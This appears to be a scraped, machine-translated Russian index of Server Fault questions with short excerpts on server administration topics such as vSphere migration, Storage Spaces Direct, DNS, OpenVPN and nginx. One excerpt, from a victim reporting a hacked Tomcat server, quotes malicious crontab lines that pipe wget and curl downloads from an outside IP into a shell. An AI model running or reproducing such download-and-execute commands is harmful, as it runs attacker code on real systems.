Администраторы сервера

8
Миграция с vSphere 5.5 на другой центр обработки данных 6.5

Мы планируем перенести рабочие виртуальные машины из одного из наших центров обработки данных на базе хостов ESXi 5.5 в новый центр обработки данных со средой 6.5. Центры обработки данных расположены в разных местах. Таким образом, наше производство состоит из около 150 виртуальных машин. Я...

8
Настройка S2D, обеспечивающая до 2M операций ввода-вывода в секунду для SQL FCI

Мы собираемся развернуть исследование общего хранилища для сверхбыстрого хранилища для реализации отказоустойчивого кластера Microsoft SQL Server (FCI). Пока проект идет, мы бы начали с 500 тыс. Операций ввода-вывода в секунду для блоков 8 тыс. С 70р / 30 Вт. Также нам хотелось бы иметь возможность...

8
Можно ли переопределить файл модуля systemd для создания файла модуля шаблона?

Я знаю, что systemd предоставляет отличный механизм для переопределения файла модуля, предоставляемого пакетом, для влияния на конфигурацию / поведение службы. Обычно это делается с помощью команды ниже sudo systemctl edit <unitfile> создать файл переопределения conf в...

8
Присоединение Ubuntu Server 17.04 к Windows AD: также против Centrify против Winbind против SSSD

У меня довольно много хостов Ubuntu Server 17.04, которые должны быть присоединены к существующему домену Windows AD (Windows Server 2016). Я никогда не делал этого раньше, но я знаю о нескольких способах достижения этого, таких как: аналогично, Centrify, SSSD и Winbind. Не могли бы вы поделиться...

8
Являются ли эти настройки DNS хорошей идеей или нет?

У нас очень маленькая (5 рабочих станций) сеть с одним Windows Server, выполняющим роль контроллера домена, DHCP и DNS-сервера. Все устройства подключены к стандартному коммутатору, который, в свою очередь, подключен к стандартному широкополосному модему. Сетевые настройки TCP для каждой рабочей...

8
Как удалить поддержку DNSSEC из домена?

Организация имеет поддержку DNSSEC для своих доменов. У них есть BIND9 в качестве авторитетного сервера имен, который также управляет ключами. Однако было решено удалить DNSSEC. Достаточно ли удалить ключевой материал /var/lib/bind/priи перезапустить сервер или есть шаги, которые необходимо...

8
Есть ли способ предотвратить автоматическое добавление дисков в Storage Spaces Direct?

Возникла проблема здесь на отказоустойчивом кластере Windows Server 2016 (WSFC), на котором размещен экземпляр отказоустойчивого кластера SQL (FCI) с использованием Storage Spaces Direct (S2D). На каждом сервере после успешного первоначального создания S2D автоматически добавлял неиспользуемый в...

8
Могу ли я установить кэш Центра обновления Windows, который не требует предварительной синхронизации?

У меня есть несколько серверов и клиентов Windows в лаборатории виртуальных машин, и я хотел бы упростить управление обновлениями. В настоящее время мне нужно запустить Центр обновления Windows на каждой машине, загружая обновления. Я знаю, что с WSUS я могу создать центральный кеш, но мне кажется,...

8
Невозможно удалить каталог Linux - бесконечная рекурсия

У нас есть монтирование NFS на виртуальной машине RHEL6, которая поддерживает наш сервер контроля версий - недавно одно из репозиториев сошло с ума, и вот что я нашел на сервере: ls -latri repo.git/refs/heads/ total 28 5551210 drwxr-xr-x. 2 git git 8192 Jun 1 21:21 . 5551210 drwxr-xr-x. 2 git git...

8
Атака сценария оболочки на сервер Apache через cron неизвестного происхождения

Во время запуска проекта войны на сервере Apache Tomcat я обнаружил, что сервер был взломан. Пока бежит война, неизвестный cronбежит вот так [root@App2 tmp]# crontab -l -u tomcat */11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh */12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh...

8
Как я могу смотреть окно терминала удаленно?

Ранее я покинул офис с активным окном терминала, на котором выполнялся скрипт на сервере Centos 7. Теперь у меня есть SSHing из дома, и я хочу посмотреть, где он. Это возможно? Могу ли я присоединиться к тому же окну терминала...

8
Контроллер рейда использует кеш в режиме JBOD?

Я специально спрашиваю о P420 на сервере D380p G8. Я планирую использовать места для хранения данных, требующие простого HBA. Поэтому я отключил RAID на P420. Мне интересно, если в этом режиме JBOD кеш на рейд-карте вообще...

8
Почему происходит сбой при выделении статического IP-адреса клиента в OpenVPN?

Я использую сервер OpenVPN и хочу назначить конкретному клиенту статический IP-адрес. Это мой server.conf. Я думаю, что это настраивает пул виртуальных IP-адресов, чтобы охватить от 10.5.24.209 до 10.5.24.223. port 443 proto tcp dev tun sndbuf 0 rcvbuf 0 ca ca.crt cert server.crt key server.key dh...

8
Linux iptables отклонен - ​​как мне включить его обратно?

поэтому в моей сети есть клиент, подключенный к маршрутизатору через мой компьютер с помощью arpspoof. Когда я знаю, что хочу остановить пересылку пакетов, я выполняю: iptables -A FORWARD -j REJECT это работает, как я ожидал. Но когда я пытаюсь сделать что-то вроде: iptables -A FORWARD -j ACCEPT Я...

8
Centos 7.4 не может установить `dnf` из epel

Это так странно, у меня есть коробка Centos7 VM. Попробуйте установить, dnfпотому что это зависимость другого пакета. Большинство инструкций в интернете выглядит так: sudo yum install epel-release sudo yum install dnf Но ничего не устанавливает. No package dnf available Даже следил за блогом DNF:...

8
IPoIB (IP через InfiniBand) против производительности RDMA

Я частично унаследовал кластер высокой доступности Linux, центр которого в настоящее время обслуживает соединение с DRBD 8 через IPoIB (IP через InfiniBand) между двумя хостами Debian. Это не сломано, поэтому я не буду это чинить. Я также заметил, что DRBD 9 поддерживает RDMA, поэтому может...

8
Как мне настроить несколько поддоменов с их собственным сертификатом, используя nginx?

Если каждый ответ, который я прочитал, был явно неправильным, SNI должен позволять делать то, что я хочу, но каждый гид говорит мне делать именно то, что я делаю. И все же nginx обслуживает неправильный сертификат, поэтому я явно что-то делаю не так. ❯ sudo nginx -V | grep SNI %1 nginx version:...

8
Как ограничить неавторизованные домены, указывающие на IP-адрес моего сайта

Я обнаружил, что какой-то домен (а именно bajajra.com) указывает на IP-адрес моего сайта. Я использую IIS 10 для размещения своего сайта. Как я могу ограничить доступ ко всем таким неавторизованным доменам? Этот вопрос похож на этот , но я ищу решение на основе IIS. Как я могу сделать так, чтобы к...